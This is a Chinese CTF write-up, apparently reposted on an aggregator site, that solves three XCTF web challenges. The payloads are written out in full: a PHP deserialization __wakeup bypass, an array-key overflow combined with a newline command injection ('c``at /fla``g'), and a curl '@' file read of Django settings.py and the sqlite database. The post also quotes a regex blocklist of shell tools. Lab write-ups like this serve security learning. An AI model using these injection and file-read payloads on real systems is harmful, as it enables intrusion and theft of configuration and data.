IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 攻防世界刷题unserialize3、favorite_number、cat -> 正文阅读

[PHP知识库]攻防世界刷题unserialize3、favorite_number、cat

今天又是去排练的一天,趁还没去做点题吧

目录

unserialize3

favorite_number

cat


?

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

好简单的一个反序列化,绕过wakeup就行了

poc:
?

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c=xctf
echo serialize($c)
?>

php运行一下得到

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

为了绕过wakeup我们改成

O:5:"xctf":1:{s:4:"flag";s:3:"111";}

最后

?code=O:5:"xctf":1:{s:4:"flag";s:3:"111";}

拿下,这个题一开始看那么简单就没仔细看,结果少了个花括号。就报错,,,,,

favorite_number

附代码

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

注释了个php5.5.9,有意思

这个题的大概意思就是让stuff参数编程一个数组,并赋值给第一个数组和第二个数组,并且让第一个数组的值不等于已经给赋过的值。然后就可以进入条件语句,POST传一个num进行远程代码执行!过滤了一些东西,但是没完全过滤。我这种菜鸡也能绕

但是第一个绕过有点头疼

既要数组强等于,又要首元素不等

我们只好跟着注释去看php5.5.9的问题,附上大佬的文章

PHP数组的key溢出问题

漏洞就是说数组中[]里0的元素与4294967296的元素是一样的,所以可以进行绕过第一个if

stuff[4294967296]=admin&stuff[1]=user

第二个绕过是绕过正则匹配,我们可以看到有两个正则匹配,换行就可以绕过了,url编码就是%0a

所以payload

stuff[4294967296]=admin&stuff[1]=user&num=123%0ac``at /fla``g

拿下

cat

这是一个rce,一开始输入baidu.com没有反应,可能是不出网?然后127.0.0.1看一下,有回显

一开始我想着拼接,用

符号作用
|

直接执行后面的语句

||前面的语句执行错误则执行后面的语句
&前面的语句为假则执行后面的语句
&&前面语句为假,直接出错

?奈何他说命令出错

Invalid URL

那就只能换个思路下去了,看了看大佬的WP,据说在比赛时候有这么一个hint

RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
CURL是一个利用URL语法在命令行方式下工作的文件传输工具。curl是一个利用URL语法在命令行方式下工作的文件传输工具。

它支持很多协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP。curl同样支持HTTPS认证,HTTP POST方法, HTTP PUT方法, FTP上传, kerberos认证, HTTP上传, 代理服务器, cookies, 用户名/密码认证, 下载文件断点续传,

上载文件断点续传, http代理服务器管道( proxy tunneling), 甚至它还支持IPv6, socks5代理服务器, 通过http代理服务器上传文件到FTP服务器等等,功能十分强大。

原来php默认并不进行此项功能的扩展,但还是有的,只是没有让它生效罢了。打开PHP安装目录,搜索以下三个文件 ssleay32.dll、libeay32.dll和 php_curl.dll,

?这些都被过滤了,fuzz一下发现只有@没有被过滤,@的url编码是%40尝试一下宽字节

%bf

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

?watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

?爆出了源码,查了一下是因为开启了debug,,,,debug不要随便开啊!

查了一下ping

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

emmmmm这样的代码不好看的话就把代码全复制出来然后再打开,就可以很明显看到是debug,结合上面的提示

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

?在PHP手册看看这个函数CURLOPT_POSTFIELDS

意思大概就是可以用@读取文件内容,但是要知道文件的绝对路径,根据debug页面知道了项目的绝对路径为/opt/api

后知后觉要懂一些django的开发基本知识,gjango项目下一般有个settings.py文件是设置网站数据库路径的,如果使用其他数据库的话settings.py里面会有数据库的账号密码,chuciwaisettings.py还会对项目整体的设置进行定义。

读取settings.py文件,这里需要注意django项目声称是settings.py会存放在项目目录下,并以项目名称命名的文件夹下。

所以payload:

?url=@/opt/api/api/settings.py

把报出来的源码用HTML打开可以看到

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

那我们就可以打开它啦?

?url=@/opt/api/database.sqlite3

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

?搜索一下就可以找到啦!

这个题考点真的很广泛!

感谢攻防世界提供优质的题,感谢勤劳的自己!

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-01 15:30:26  更:2022-05-01 15:30:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 7:23:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码